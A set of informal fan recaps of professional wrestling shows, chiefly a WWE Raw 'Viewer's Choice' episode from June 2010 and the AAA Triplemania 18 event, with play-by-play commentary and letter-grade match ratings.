We recap Kurt vs. AJ. This is about Karen and AJ allegedly having an affair. I think this is around when they were legitimately separating so this is pretty weird stuff. Kurt thought there was cheating so Kurt had his friends destroy AJ and then beat him with a chair. AJ is out for revenge.

 

Kurt Angle vs. AJ Styles

 

Think this will be good? Tomko is with Angle. The fans like AJ more than Kurt. They hit the mat and guess who wins that part. AJ speeds things up and sends Angle to the floor with an armdrag. Back in and Angle tries to speed it up so AJ hits that dropkick of his to take over. Tomko talks some trash to let Angle get the fingers to the eye. Jesse Ventura is smiling somewhere off that.

 

 

 

 

Angle pops him with the chair post match and Tomko runs interference to keep security out. The ankle lock goes on and Angle pounds away a bit.

 

 

TNA World Title: Samoa Joe vs. Robert Roode vs. Booker T vs. Christian Cage vs. Rhyno

 

 

Christian is back in now and the knee looks ok. He hits an inverted DDT on Roode but gets struck down by Joe. Scoop powerslam gets two for Joe. He ties the Canadian in the Tree of Woe and hammers away and is in total control here. Booker trips him up and pulls him to the floor, pounding away out there. Booker comes back in and meets Rhyno with a Book End for a pin. Booker is now eligible to hang the belt and Rhyno is in the box for two minutes.

 

 

Nash beats up Roode to make sure that he gets in the box along with Cage. Rhyno goes up with the belt but Booker makes the save. Joe hooks a cobra clutch on Booker and Cage is freed from his namesake. He goes on top of the penalty box and hits a frog splash onto Booker to become eligible and send Booker to the box. Roode is out as well. Quick recap: Everyone but Joe is eligible and Booker is in the box.

 

Nash comes into the ring and powerbombs Booker off the ladder. That makes sense given that he was provoked. Joe tries a MuscleBuster on Christian but he escapes. Joe knocks Christian through the table from earlier as Roode sets up the ladder. Roode goes up but Joe takes him down with a MuscleBuster. Joe immediately goes up and hangs the belt to retain. That was a fast ending but it was effective and smart.

 

 

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Monday Night Raw
Date: June 7, 2010
Location: American Airlines Arena, Miami, Florida
Commentators: Michael Cole, Jerry Lawler
Guest Hosts: Cast of A-Team

It’s Viewer’s Choice tonight so we get three hours and both brands. That’s always fun if nothing else and I have begged for this to be a TV special instead of a PPV like Taboo Tuesday or Cyber Sunday for the better part of ever so I’m happy here. Let’s get to it.

We open with Bret and Teddy Long in the ring, talking about tonight’s show. Bret wants to talk about Orton. Of course that means cue Orton with his arm in a sling. He wants Edge tonight and if he doesn’t get him he’ll go find him. So if he doesn’t get him he’ll go get him? Yeah….that makes sense. Edge of course comes out and that’s the Viewer’s Choice main event. Oh in case I forgot, tonight is Viewer’s Choice. The options are a debate, a sit up contest, or an arm behind the back match.

Now it’s time to have our first actual vote which is for Jericho vs. Show. The options are Over the Rope Challenge, Submission Match and Body Slam Challenge. It’s one of those shows I guess.

Striker has the results. He’s actually good in a roll like this.

Over the Rope Challenge: 11%
Submission Match: 41%
Body Slam Challenge: 48%

Big Show vs. Chris Jericho

To be fair, there are at least two options that were possible there so that’s better than nothing. Show pulls Jericho up from the floor to the ring BY THE HAIR. FREAKING OW MAN. Jericho works on the arm for no apparent reason. He then tries a cross body and Show ends it easily. He throws on the Colossal Clutch and Jericho taps. And of course he throws him over the top too. That’s kind of funny I guess.

Rating: D. This wasn’t much of a match at all, but it did the job. Wait no it really didn’t as nothing at all was accomplished here. Jericho is feuding with Truth…kind of, and Show is going for the world title. What was the point here? Yeah this was actually bad.

Up next the Hart Dynasty vs. YOUR PICK. It’s either the Usos, the Dudebusters or Khali and Horny. That….could actually go a few ways.

Usos: 36%
Dudebusters: 10%
Great Khali/Hornswoggle: 54%

NO FREAKING WAY this is legit. NO WAY.

Hart Dynasty vs. Great Khali/Hornswoggle

I’m fairly sure this is non-title. Khali and Kidd start us off as for one of the first times, Natalya looks great to me. Tadpole Splash misses thank goodness. Horny gets pinned in like 8 seconds. Oh this was stupid. The Usos run out and get beaten up for the first time. The Harts needed that one.

Rating: N/A. This was barely a match at all. The good thing to come out of this though is that the Harts now look actually credible against the Usos which is the most important part of this I think. If nothing else they look like they would have a fighting chance in a match against them which I’d bet happens at the PPV. Yeah I know that’s a fairly safe bet but you make a ton of money that way in the long run.

Lawler says something is wrong and leaves. Ok then.

We recap the Taker is dead thing which is at least elevating Kane for once.

The guest hosts come out and there’s just one of them. He says there’s a great show coming. Ok then.

Lawler is in the back and the other two guest hosts in fake mustaches are in character and say that Lawler wanted to hire them. SOMEONE STOLE HIS CROWN! They leave and run into the Bellas who they refuse to break character for. This is actually working for me.

Santino Marella vs. Vladimir Kozlov

The choices are Match, Arm Wrestling or Dance-Off. Hmm I wonder what’s going to win.

Match: 9%
Arm Wrestling: 7%
Dance-Off: 84%

Oh did you expect it to be anything else? Santino says he used to be a Backstreet Boy. Santino’s isn’t that funny or special. Kozlov does something similar to a robot. He’s actually not terrible. Ok this is sort of funny. Ok it’s VERY funny. They dance a bit afterwards and Santino gets slammed. Find a video of Kozlov dancing. It had me dying of laughter.

The Divas are in the back and they’re going to have a match next. The choices are 6 on 6 tag, Battle Royal or Champion vs. Champion. Wow those are actual wrestling matches.

Lawler is back.

6 on 6 Tag: 11%
Battle Royal: 73%
Champion vs. Champion: 16%

Divas Battle Royal

Again, I can live with this. Also it’s only 8:56 so we should step it up a bit soon enough. There isn’t much you can say here. Ah apparently going through the ropes counts too. Rosa is out. Tiffany is put out by Laycool. The same goes for Kelly. Gail hits a SWEET hurricanrana as nothing of note is going on. Gail and Alicia who have a match on Superstars are both out as are the Bellas. Laycool vs. Eve and Maryse are the final four. Make that Maryse, Eve and Jillian who I didn’t notice at all. Eve is out which is surprising. Jillian says they can be co-winners but Maryse throws her out. Boring but the girls looked good so there we are.

Rating: C-. Battle royals are hard to rate but this worked fine for what it was. It was about having hot women in small outfits fighting each other. In that sense it was a success. This is also a good idea as the less talented wrestlers are allowed to not have to actually, you know, wrestle. Maryse winning was a nice surprise also.

Sheamus and Kane have a staredown in the back. I’d like to watch that. He accuses Sheamus with some bad acting. Kane says he hopes to see him real soon.

WHO SHOULD SHEAMUS FACE? Kane, Mark Henry or Evan Bourne. HMM! I wonder who it’ll be!!!

Kane: 88%
Mark Henry: 3%
Evan Bourne: 9%

Sheamus vs. Kane

Yeah this works. I love big men fighting. Sheamus beats him up for awhile. We take a break. Sheamus is still beating him up. Kane starts beating him up for awhile. Chokeslam is blocked twice, Sheamus takes over again. Seriously that’s all that’s happened and it’s taken nearly 8 minutes. Chokeslam hits but Sheamus rolls to the floor and he just takes the count out. Eh that makes sense I guess and Kane looked very strong here.

Rating: C-. Very smart booking here as both guys get to look strong as well as giving us a decent match. Again it’s not particularly good but it did the right thing. Sheamus needs to stay strong going into the PPV and Kane needs to look strong going into the big angle he’s in. If he plays his cards right he could get to job to the world champion out of this which is a step up for him.

Edge vs. Orton in the behind the back thing.

Cena vs. Swagger, Mysterio or Punk later. That actually could be any of them.

We look at Wade Barrett who is indeed the best guy for that show. And here’s Wade Barrett. He’s asked what it’s like to win NXT. He says you wouldn’t ask a genius about passing a grade school exam. GREAT LINE. He says in one week he’s going to do something that’s never been accomplished before.

DiBiase and Virgil are in the back. I never get over saying that. The A-Team guys are here and accuse DiBiase of taking the crown. IRS IS HERE, WEARING THE CROWN! Apparently the crown was taken for not paying back taxes. There’s a gas attack and the heels wear masks while the faces are out cold. Ok then.

Miz and Truth have a tag match next and you get to pick their partners. Here are the options.

R-Truth: Christian, MVP, John Morrison
Miz: Zach Ryder, Dolph Ziggler, William Regal

R-Truth/??? Vs. The Miz/???

A REALLY annoying fan keeps chanting MVP for Truth’s partner.

Christian: 29%
MVP: 17%
John Morrison: 54%

That’s rather telling, and THANK YOU for not being MVP.

Dolph Ziggler: 38%
William Regal: 17%
Zach Ryder: 45%

Well he has the best music I guess. Weird team if nothing else. Morrison is back as he hits all of his big kicks, but in a rather short match, Miz hits the Skull Crushing Finale (GREAT one too as Morrison’s head just bounced off the mat) on Morrison to get the pin. He signals that he wants the belt back. Liking the young four guys being out there.

Rating: D+. Not bad here but it was really too short to get anything going. Is there a point to bringing Morrison back to job him out though? I really fail to see the point to that but if nothing else it fuels the Miz/Truth thing which I guess is just starting now. I still don’t get the Morrison losing thing though.

Bret and Edge talk for a bit in the back and Kane accuses Bret of attacking Taker. Interesting little thing: Taker has NEVER beaten Bret clean.

Edge vs. Randy Orton

Remember that Edge will have an arm behind his back. Edge’s left arm is behind his back but Orton’s right arm is in a sling. Ok then. After about a minute Edge pulls the rope off and stomps on Orton’s arm. This gets the DQ. He goes for a spear but Orton gets a kick up to block it. Edge gets a chair and hits Orton in the arm with it.

Rating: N/A. This was an angle rather than a match but it opens a very interesting door as it’s now possible that Orton is out of the PPV match. This was a great idea and it came off rather well.

Cena and Bourne are talking in the back. Savannah comes up and asks Cena how he feels about he main event tonight. He says his life has been hectic and tonight the people make the pick and its their opinions that matter the most. The crowd is rather pro-Cena to say the least.

The A-Team guy wakes up…and MEAN FREAKING GENE IS WITH HIM! Gene makes fun of Josh Matthews who is right behind him.

Drew McIntyre vs. ???

The options are:

Yoshi Tatsu: 4%
Goldust: 8%
Mystery Opponent (does Matt Hardy poses): 88%

And it’s….actually Matt Hardy???? WOW. Drew says the match isn’t happening because of the suspension. Teddy comes out and says that he’s suspended from Smackdown, not Raw. Matt punches the tar out of him and never lets up. I like this angle actually. You can’t beat an old fashioned grudge match. Drew misses a charge and hits the post which POPS. Twist of Fate ends this clean in like 90 seconds. Post match he slams Drew’s head into the mat and keeps beating him down. Matt pulls some of his hair out. This was impressive for Hardy.

Rating: D. Uh…what was that? We build Drew vs. Matt up for weeks and him inside of 3 minutes clean? What was the point of that? Wasn’t Drew supposed to be getting a mammoth push and now he’s jobbing to Hardy in what could have been a decent PPV match? It fits but it’s just rather odd.

BA Baracus (Rampage Jackson) is in the back tied up and Virgil, IRS and DiBiase say they’re taking him to the ring. I like this actually.

Back from break and we’re in the ring. DiBiase says that he has a price, including him. Apparently someone wants BA…and it’s……RODDY PIPER??? What the heck? HUGE Roddy chant. Oh that’s right Piper feuded with Mr. T. WAY back in the day. Piper has a hat on for no apparent reason. He’s ticked off because he doesn’t want more hype over the A-Team again. He says it’s time for a fight and here’s the other A-Team guy along with Mean Gene and Dusty Rhodes on a golf cart.

Jackson breaks the handcuffs and it’s on! Jackson can actually fight of course so this is a massive beatdown. Dusty thinks he’s Murdoch from A-Team and plugs the movie……IF YOU WILL. This worked in the weirdest way you can possibly imagine, but it did in fact work. Oh and Lawler gets the crown back.

Next week’s host is the star of Royal Pains which Big Show is guest starring on soon. See what happens when you have RELEVANT hosts?

Josh is with the three options for Cena’s opponent. Rey says to be the top dog, you have to go after the top dog. Yeah that’s not at all like To be the man you’ve gotta beat the man. Swagger says it should be champion vs. champion. Punk just makes fun of Matthews and asks why Cena should get to fight Punk.

Here’s Cena and it’s only twenty minutes until eleven. That’s a good sign of a long match.

Jack Swagger: 23%
Rey Mysterio: 32%
CM Punk: 45%

John Cena vs. CM Punk

As a Punk fan, this works. Immediately Cena goes for the mask as you would expect. Punk is wearing camo tights. That’s just odd. The fans pop for Cena like a cherry but then chant you can’t wrestle. Odd crowd. Gallows cheats to get us to even and we go to a break. We come back and Cena starts taking over and goes for the 5 Knuckle Shuffle….and here’s Wade Barrett. Then all 7 other rookies show up and beat the tar out of the SES. Then they all get in the ring….and beat up Cena. What is going on here. AND THEY THEY BEAT UP STRIKER! AND LAWLER! Cole, of course, runs.

This is actually really cool. They turn over the announce tables and are all wreaking havoc. Security gets beaten up and they punch the announcer. They’re tearing the mat off the ring. Justin Roberts is getting choked out by Bryan. They’re destroying the arena. The ropes are torn up. Now they’re back to Cena. The ropes are literally falling apart, you can see the wood that is under the ring mat and they’re all clotheslining Cena.

Punk even tries to fight them and he gets beaten down. This is AWESOME by the way. Danielson yells at Cena that he’s better than Cena and spits in his face. Barrett hits his finisher on Cena, Gabriel hits the 450 on him. They’re all heel here in case you didn’t get the idea. They leave with Punk and Gallows out cold on the floor. This was original NWO level of insanity and one of the coolest endings to a Raw I’ve seen in forever. Also with there being 8 of them, that’s one heck of a force to fight off. Cena goes out on a stretcher but does the thumbs up as he leaves.

Rating: A+. The match was decent, but the angle was absolutely incredible. If nothing else it lasted longer than the Slammys match they had where Punk lost in like 2 minutes. I’m still in awe over the NXT thing which is saying a lot as it’s 7am at this point.

Overall Rating: B+. I’ve heard a lot of negative things about this show since it aired, but this was a very successful show to me. Angles were advanced, feuds were partially ended and the ending blew my mind. I’ve been watching Raw since it debuted and this is easily one of the best endings I’ve ever seen. NO ONE would have called this and it came off perfectly. Good show overall and the ending was amazing beyond belief.

 

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Triplemania 18
Date: June 6, 2010
Location: Palacio de los Deportes, Mexico City, Mexico
Attendance: 17,500
Commentators: Konnan, Alfonso Morales, Jesus Zuniga, Arturo Rivera

 

This is the Wrestlemania of the AAA promotion, which I believe is the biggest wrestling company in Mexico. This show is their latest major show so I figured I’d take a look at it. I figured if I can watch Japanese shows and have no idea what’s going on I can do the same with Spanish ones right? I speak some Spanish so this could be a bit better. The main event is LA Park vs. La Parka for the rights to the name La Parka which is apparently a dream match. Let’s get to it.

 

Again if I mess something up I apologize. Keep in mind I have no idea what’s going on or who half of these people are. Also I don’t know any stories or anything like that either. Please bear with me on this but I’ll do what I can.

 

The opening video is about war throughout the ages, including shots of Hitler. Also we get what I think is the history of Triplemania which had a lot of Konnan in it. There’s a countdown and we go to the arena where pyro is set off.

 

Some good looking women bring down flags and what looks like a coat of arms while what sounds like the score of Rocky IV plays in the background. Actually it doesn’t sound like the score from Rocky IV. It IS the score from Rocky IV. That’s kind of awesome. One of the flags has a man’s face on it and the girls stop by a woman in the audience holding an urn. I think that face is of the founder of the company and I’m assuming that’s his widow? She’s shown on the big screen so I’d assume she’s important.

 

Mini-Estrellas Championship: Octagonito vs. Mini Abismo Negro vs. Mini Charly Manson vs. Mascarita Divina vs. Mini Psicosis vs. Mini Histeria vs. Mascarita Sagrada vs. La Parkita vs. Mini Chessman

 

This is a 9 man TLC match for the World Minis Championship. From what I understand there are often minis that are tributes to the full sized wrestlers. Notice a lot of people being named mini whatever name. Abismo Negro is the champion here. I won’t be saying mini every time so if I say Psicosis for example, I mean the mini, not the big guy. Good luck trying to keep track of who is who here but I’ll do what I can.

 

The entrances take a very long time as you would expect. Oh wait here are three at once. I think they’re called the Mini Vipers. They’re comprised of Abismo Negro, Histeria and Psicosis. Parkita comes out to Thriller which is kind of cool. It should be noted that these guys aren’t tiny. They’re just slightly above the top rope. Divina is in blue. That helps a bit.

 

Manson gets a nice reaction. Octoganito gets a better one though. I think that leaves only Sagrada. No apparently I just missed his entrance as there are 9 people in there. Here we go. The Vipers team is all in pink so they’re a unit I guess. They have a big six sided ring and they stay on a wide shot. It’s FAR bigger than American rings. Parkita vs. Chessman in the ring at the moment. Scratch that as they both dive out.

 

Divina vs. a Viper at the moment. Manson vs. another Viper now. They’re flying in and out but other than the first seconds there haven’t been more than two in there at all. From what I understand this was supposed to be a seven man match but Chessman and Parkita were added to the match at the last minute. Big chair shot to the head of Manson I think.

 

There’s a ladder in the ring which is being used a bit but no one has tried to go up yet. And just as I say that there they go. Psicosis makes an attempt at it but is met by Octoganito. The overhead camera shot is taking some getting used to. Divina, Parkita and a Viper in there at the moment. Divina has a ladder but a Viper has another one, this one shorter. The Viper gets a powerbomb to Divina as Parkita brings in a table.

 

Something draws a pop from the crowd but we don’t see it. Divina vs. a Viper at this point. The Viper is sent to the floor and Divina gets a gorgeous rana to the floor. I think that was Octagonito with the big tope con giro. There are two chairs with the small ladder laid on them. Psicosis and Manson in there with Psicosis going through the pile of stuff.

 

The referees help Manson set up the big ladder. Up he goes but a Viper kicks the ladder out and down he comes. Parkita and a Viper (I think Abismo Negro) fight on the apron with the Viper being powerslammed through a table in a cool spot. Another Viper sets up a table in the ring and kicks Octoganito in the head. Divina hits a baseball slide to take out someone that we couldn’t see.

 

The Viper puts Octoganito on the table as Divina climbs the ladder. Another guy is being carried out on a stretcher and I’d assume it was the Viper that went through the table. Octoganito gets a sunset bomb off the ladder to put the Viper through it. BIG pop for that and Octoganito is able to climb up and win the title. Sweet I had the right person!

 

Rating: C-. This is a very hard one to grade. The problem here is that it was more like a highlight reel than an actual match. There were a lot of people that I have no idea if I saw more than once or not. With only two people in the ring for the majority of the match I often forgot there were 9 in this. It’s certainly exciting, but there was little that got me into it. Also at less than ten minutes, how into it could I get?

 

Octoganito talks to the woman with the urn post match.

 

A Viper is put on a stretcher. It’s not Psicosis so I’d assume it’s Histeria. After some further research I’m right.

 

Sexy Star/Rain/Jennifer Blade vs. Cinthia Moreno/Mari/Faby Apache

 

So from what I understand, the first group of girls here are part of La Legion Extranjera, or the Foreign Legion. In short, it’s Konnan’s team and the top heel group. There isn’t a set lineup for them all the time as a lot of the time it’s just any foreign wrestler. This is the new Foreign Legion though and they have more of a concrete group of people. Whoever is pinned or submits here is the slave of the winning team for a month. Rain you might remember as Payton Banks in TNA. Faby and Mari are sisters.

 

The heels have American flags and are pretty hated. Star gets her own entrance apart from her partners. She’s women’s champion here, called the Reina de Reinas (Queen of Queens). Ok Cinthia is in black. Faby is in gold and Mari is in black and gold. Got it I think. They look like sisters so it helps. Konnan has something to say. It seems that there’s something up with the referee here and he might not be trustworthy.

 

Big brawl to start with I think Blade being triple teamed. No wait that’s Star. Cinthia and the sisters clear the ring as this has been a rout so far. More double teaming as I think Rain is double teamed by the sisters. There seems to be no tagging in this match. Star is in a mask. The heels take over now and the beating is on for Faby. Now the Foreign Legion clears the ring. This is rather back and forth stuff.

 

They beat up Mari now but there haven’t been any covers yet. Now they’re on Cinthia but a double team misses. Big double kick to the back of the head of Blade and the momentum shifts again. Ah I was right: the referee IS cheating and the non foreigners go after him. Ok now we get some regular tagging. Blade vs. Cinthia to start and a long Tumble Weed gets no count as the referee breaks up the pin attempt.

 

Implant buster by Fabi gets no cover as Star breaks it up. Star sends Fabi to the floor and Cinthia follows. Tope by Star takes out everyone in sight. Well everyone in her way on the floor on the other team. Mari drills Star and the champion is on the floor now as well. Mari beats the tar out of the referee but a broom stick from Blade to the back of Mari is enough for the pin and Mari is the slave of the Foreign Legion.

 

Rating: D+. This was kind of a mess but I think a lot of that can be blamed on me not really having any idea what was going on. If nothing else the girls look good and there’s a storyline of the evil referee going on in there. Decent match though and the celebration by the Foreign Legion is rather amusing as they’re nearly orgasmic over having Mari as their slave.

 

Rain says the thirty days start now. Mari says she’ll do the thirty days but she’s kicking their heads in right now. She and her partners get Blade down but some short fat guy runs in and the distraction stops that and Blade gets away. He yells at the referee who yells back. It seems that the guy that ran in is saying the loss wasn’t fair due to the referee cheating. The referee says it counts and Konnan comes in and grabs Mari, throwing her to the Foreign Legion girls, saying down with Mexico or something like that.

 

Tag Titles: Los Maniacos vs. Beer Money vs. Atsushi Aoki/Go Shiozaki vs. Nicho/Joe Lider

 

This is under elimination rules and Shiozako/Aoki are champions coming in. Los Maniacos are Silver Cain (Silver King from WCW who has lost his mask and Ultimo Gladiator). An interesting point here is that the champions are introduced by the wrong name with one guy not getting an announcement at all. Also from what I’ve read, only Konnan knew either their names or Beer Money’s names. Cain basically is something like Mr. America where everyone knows it’s Silver King but officially it’s a different guy as his name is different if that makes sense.

 

The wrong music plays for the champions as it’s Beer Money’s song instead. Ok here is Beer Money to the right music. They’re part of the Foreign Legion tonight. See how the group works now? In the back the final team is coming to the ring but some guy in a suit says Konnan is out there and not to go after them. That would be Nicho/Lider who are La Hermandad 187 (the 187 Brotherhood). Nicho is more famous as Psicosis without the mask. The Japanese guys and Lider almost get into it before the match.

 

No tagging here again it seems. This is going to take some getting used to. Roode and someone are on the floor. Also cut out the wide shots. I can’t see anyone specifically for the most part. Four in the ring and four on the floor at the moment. I think Beer Money is on the floor. It’s the Japanese guys and Los Maniacos in there at the moment. Nicho who is apparently a millionaire is down.

 

Only the champions (Japanese guys remember) are staying in the ring and on their feet the whole time. One hits a frog splash to I think Lider for two. Beer Money vs. Japanese guys at the moment. I know I’m saying Japanese guys a lot but it’s the best description I can give you in a short amount of time. Hermanadad gets in Konnan’s face with chairs but the champions jump them to save K-Dawg.

 

Beer Money works on Nicho with a wheelbarrow/Codebreaker combination. They set for the BEER MONEY thing but Hermanadad gets a pair of rollups for two each. Nicho vs. Aoki at the moment with the champion winning. Storm is ripping Cain’s mask and almost has it off. Nicho vs. Aoki in the ring at the moment and Aoki is sent to the floor. Tope con Giro by Nicho takes down Aoki.

 

La Hermanadad beats on Aoki now until Shiozaki comes in. A middle rope Backstabber out of nowhere to Shiozaki puts him out and the champions are gone! Konnan FREAKS as we’re down to three teams. Storm has a chair now and sets it up in the corner. Beer Money beats on the Hermanadad as we haven’t seen much from the masked dudes. Beer Money screws up and Roode head winds up in Storm’s crotch.

 

Los Manacos get into it again and go after 187 which is what I’m going to say instead of La Hermanadad. 187 is down but get up to hit stereo Downward Spirals to Beer Money. Storm takes what we would call a Mooregasm and then add….something which gets two on Storm. It was some double team move but it was hard to see what it was. Konnan distracts 187 again and a chair to the head of Lider by Storm ends them and we’re down to Los Manacos vs. Beer Money for the titles.

 

Tower of Doom spot doesn’t really work at all but it looked ok and got two for Roode. Nicho goes after Konnan with a chair but can’t hit him. The fans are completely behind Manacos. Cain misses a moonsault and the slingshot DDT kills Gladiator as it’s all Beer Money with the spinebuster to Cain. Heel miscommunication occurs though and it’s Gladiator vs. Storm.

 

There are two referees in the ring for some reason. Spear takes down Storm for two. Roode and Cain have gone off to find a Bingo game or something. Storm hits a powerslam for two. Superkick by Storm misses and Cain hits a Death Valley Driver for the pin and the titles. HUGE pop for that as they’re faces and Mexicans hold the titles again.

 

Rating: B-. This was a more fun match than the rest of them. While it was still hard to follow it was less difficult than the other matches. This lack of tagging thing is something I’m having issues getting used to. Either way, there was more of a flow here and I had a better idea of what was going on which is certainly a good thing.

 

Post match two guys come out and stare down the new champions. These guys are from a promotion called IWRG which is a rival company feuding with AAA. This had never been mentioned on a AAA broadcast until now. This challenge takes WAY too long as the invaders talk forever.

 

AAA now has a videogame. Good to know. Why is the commercial in English? They couldn’t put Spanish text on there?

 

A bunch of guys in matching t-shirts that aren’t wrestlers come out and say they can do a lot of for this country. I think this is some charity thing.

 

We talk about the upcoming hair vs. hair match. It’s a six man match and each team is representing a referee. The referee of the losing team gets their hair shaved. Also, this is a cage match which from what I can find wasn’t announced at all prior to the show. The talking for this match takes way too long. Some people start a chant saying KONNAN OUT.

 

Alex Kozlov/Chessman/Hernandez vs. Heavy Metal/Octagon/Pimpinela Escarlata

 

Kozlov is a Soviet character that looks a bit homosexual. Yes it’s that Hernandez. Kozlov’s team is Team Hijo de Tirantes and the other is Team Pierro. I think you can only win by escape and it has to be all three team members. Team Hijo is of the Foreign Legion also. Escarlata is a transvestite. Ok then.

 

In the gimmick that will never die, Kozlov wants to sing the Russian National Anthem. He’s interrupted by Escarlata who puts what appears to be a g-string on his face. That starts the brawl and remember it’s all three out to win. Hernandez is a monster in this. The Foreign Legion dominates to start with a triple team on Escarlata. Now it’s Heavy Metal’s turn to get beaten down.

 

Konnan talks about the main event which is apparently a huge match. The evil referee cracks Escarlata in the head with a chair through the cage. The non-foreign guys have had zero offence. We talk about how awesome the Foreign Legion is for a bit which is true as they’re dominating here to put it mildly. Octagon wakes up all of a sudden, goes OFF on Chessman and dodges a diving Hernandez before Octagon climbs the cage, escaping easily. Gee what a nice guy. “My team is getting destroyed. I’m out people!”

 

Escarlata and Kozlov go up at the same time so Escarlata kisses him to slow him down. Escarlata gets rammed into the cage and Kozlov is out, making it 2-2. Now Escarlata is kissing Hernandez which lets the gender confused one climb the cage. After kissing the evil referee he escapes to make it Hernandez/Chessman vs. Heavy Metal.

 

Hernandez gets the Border Toss into the cage to Heavy Metal which isn’t a big move in Mexico I guess. With Chessman beating down Heavy Metal, Hernandez starts to bail. Then he channels his inner Jimmy Snuka and FLATTENS Metal with a splash. Hernandez escapes easily but the good (I think) referee stops Chessman, knocking him back to the mat.

 

The problem is that Heavy Metal is still completely dead. Chessman goes up for the escape but instead tries a moonsault. With the key word there being tries as Heavy Metal rolls out of the way and Chessman is down too. Escarlata plays cheerleader outside and the race is on. The evil referee smacks Chessman with a chair and Chessman escapes for the win and the head shaving of the good referee.

 

Rating: B. Pretty easily the best match of the night so far. There was a clear story going on in there with the Foreign Legion being far more talented but they got overconfident and the AAA guys were able to fight them off for a bit. The two huge spots helped it also with them bringing the crowd to its feet. I liked this and thought it worked rather well. Not sure why the cage stipulation was just thrown on but it probable made the match better.

 

Post match the good referee’s hair is shaved to evil laughter in a kind of disturbing moment. They keep telling him to raise his head so he smacks the evil referee and cracks him with the chair he had to sit in.

 

The announcers argue while we take down the cage.

 

Cibernetico/Abyss vs. El Zorro/Vampiro

 

Cibernetico is one of the top faces in the company (or was at this point). Abyss and Vampiro I think you know. El Zorro is a heel and part of the Foreign Legion and after this show would win the world title. This is a hardcore match. Despite being a foreigner Abyss isn’t part of the Foreign Legion for some reason.

 

Cibernetico’s entrance is in a word, epic. I think he’s supposed to be a cyborg or something. He’s clearly one of the most popular people in the company. This is that odd kind of hardcore where you have to tag in and out. Yeah I know just go with it. Cibernetico and Zorro start us off.

 

Cibernetico tights say Main Man. At least there isn’t a target saying “goes here” underneath it. The partners just come in for no apparent reason with Abyss going off on Vampiro. This is during Abyss-A-Mania but it doesn’t seem to be that bad at this point. Zorro has a kendo stick as the announcers argue some more. Zorro beats on Cibernetico with a chair in the ring while the other guys are out on the floor.

 

Vampiro sets up a table but can’t get a moonsault through it. Abyss can’t get his powerbomb through it either so it all evens out. Cibernetico hits the floor and now it’s turning into a regular hardcore match. Vampiro and Konnan point at each other for some reason but the wasted time lets Abyss get his hands on Vampiro. Abyss is thrown at the table which collapses but doesn’t break.

 

Konnan gets in Vampiro’s face again for no apparent reason. Everyone but Abyss is in the ring now and it’s a 2-1 beatdown. I’m not sure what the deal is with two referees. Maybe Gorilla Monsoon is secretly commissioner here or something. Cibernetico dumps Vampiro (to be with Abyss I guess) but has a kendo stick tossed into his leg.

 

Abyss is back in now but can’t get a double chokeslam. He settles for a double clothesline instead and down goes the Foreign Legion. Abyss……moves……very……very……slowly. The Foreign Legion hits the ring, in the form of Christopher Daniels, Kozlov, Chessman, Nosawa (Japanese guy) and Hernandez. Cibernetico is like screw that and beats them up on his own.

 

Zorro takes him down and hammers away with the kendo stick. Cue Abyss who hits Shock Treatment and Zorro is more or less dead. Hernandez misses a chair shot and hits Vampiro by mistake. Konnan grabs Vampiro and throws powder in his face. A chokeslam from Cibernetico ends this.

 

Rating: C+. Not bad here. They got rid of the tagging after about a second and things got a lot better. Decent little match here and the Foreign Legion losing is a good thing for a change tonight. Cibernetico is a guy that it’s easy to get behind so I can see why he’s one of the most popular there. Decent match all around but a bit rushed.

 

The Foreign Legion beats down the winners post match. Konnan and Vampiro stare each other down but La Hermanadad 187 runs in for the save and the beatdown is on with Foreign Legion being left laying.

 

Konnan rants about that for awhile.

 

Cruiserweight Title: Jack Evans vs. Nosawa vs. Extreme Tiger vs. Christopher Daniels

 

Elimination again and Tiger has the title. Evans is the epitome of a guy that likes flippys. Also in this company they have what sounds like a whistle instead of a bell. That takes a lot of getting used to. Tiger and Daniels hit the floor almost immediately as Evans flips a lot to attack Nosawa. Konnan lists off a lot of cruiserweights that are awesome while Nosawa takes over.

 

Tiger vs. Nosawa now in the ring as they don’t have to tag again. AAA really doesn’t like to have to do that do they? Tiger gets a seated senton to the balls of Nosawa. Now that’s just not nice at all. Daniels vs. Tiger now with Daniels in control. Tiger has a mask if I didn’t mention that. Daniels is sent to the floor so it’s down to Nosawa vs. Tiger now. And yes I know it’s Extreme Tiger but I’m not writing both words every time.

 

Daniels pulls the rope down and Evans hits the floor. Big clothesline and Evans does a 360 on the floor. Daniels beats down Tiger in the ring and is joined by Nosawa for a double flapjack. Nosawa and Daniels are Foreign Legion teammates so they’re working together here. Daniels sets Tiger for a Death Valley Driver while Nosawa adds a superkick to the head for a nice double team move.

 

Evans comes in and it’s more or less an unofficial tag match now. Tiger and Evans get Daniels down and double team Nosawa. A double cover after a rather contrived spot gets no pin for either good guy. Someone is bleeding as there’s blood on Daniels’ face. Evans kicks Daniels to the floor and does a huge flip onto him. Tiger throws Nosawa to the floor and hits a 450 out to the floor! You don’t see that often at all. Naturally that only gets two back in the ring. A springboard double stomp to Nosawa is enough to eliminate him through and we’re down to three.

 

This referee counts SLOW. The two good guys beat on Daniels for awhile and they have a chop off. I think it’s Daniels that is bleeding actually. It looked like blood on him earlier but not his own. Daniels tries to leave but Tiger is like get back here baldie. Rollup by Evans gets two on Tiger. Elevated double arm DDT by Tiger gets two on Evans. This referee stops for a long time after two.

 

Some guy comes out in an Extreme Tiger mask and pulls it off to reveal….another mask. The distraction allows Daniels to be able to get a rollup to make it Evans vs. Daniels for the title. Oh great: a Christopher Daniels match. Can’t you hear the excitement in my voice over this turn of events? Four straight backbreakers without dropping Evans by Daniels. Now off to a half crab as just Daniels being in there is putting me to sleep.

 

Spin out powerbomb gets two for Daniels. He’s been on offense the entire time since Tiger was eliminated. Evans is sent to the apron and hits a springboard double knee strike for no cover. Big running knee strike gets no cover again. Instead he tries a 630 but eats knees to the back. Best Moonsault Ever gets two. Daniels tries a belly to back off the top but gets knocked backwards to the mat. A big corkscrew splash gives Evans the title. The referee looks around for help and stops at two as I guess he was crooked also.

 

Rating: B-. Fun match but at 25 minutes or so it’s a bit long. This whole show is over 4 hours so it’s a bit much to sit through when you’re not familiar with a lot of these guys. Still though, this was rather good for the most part. The long period before the first pin and then another crooked referee was too much though which is what’s holding it back. That and the time.

 

Dr. Wagner says he’ll win and be #1.

 

AAA World Heavyweight Title: Dr. Wagner Jr. vs. Electroshock

 

Electroshock is defending champion here. This has apparently been a well built match and is supposed to be a war. Keep that in mind. Electroshock has no mask. Got it. That belt is huge. Fans are completely behind Wagner. They shake hands and here we go. LONG stall to start as we wait for them to actually do something. Two minutes without anything until they finally lock up.

 

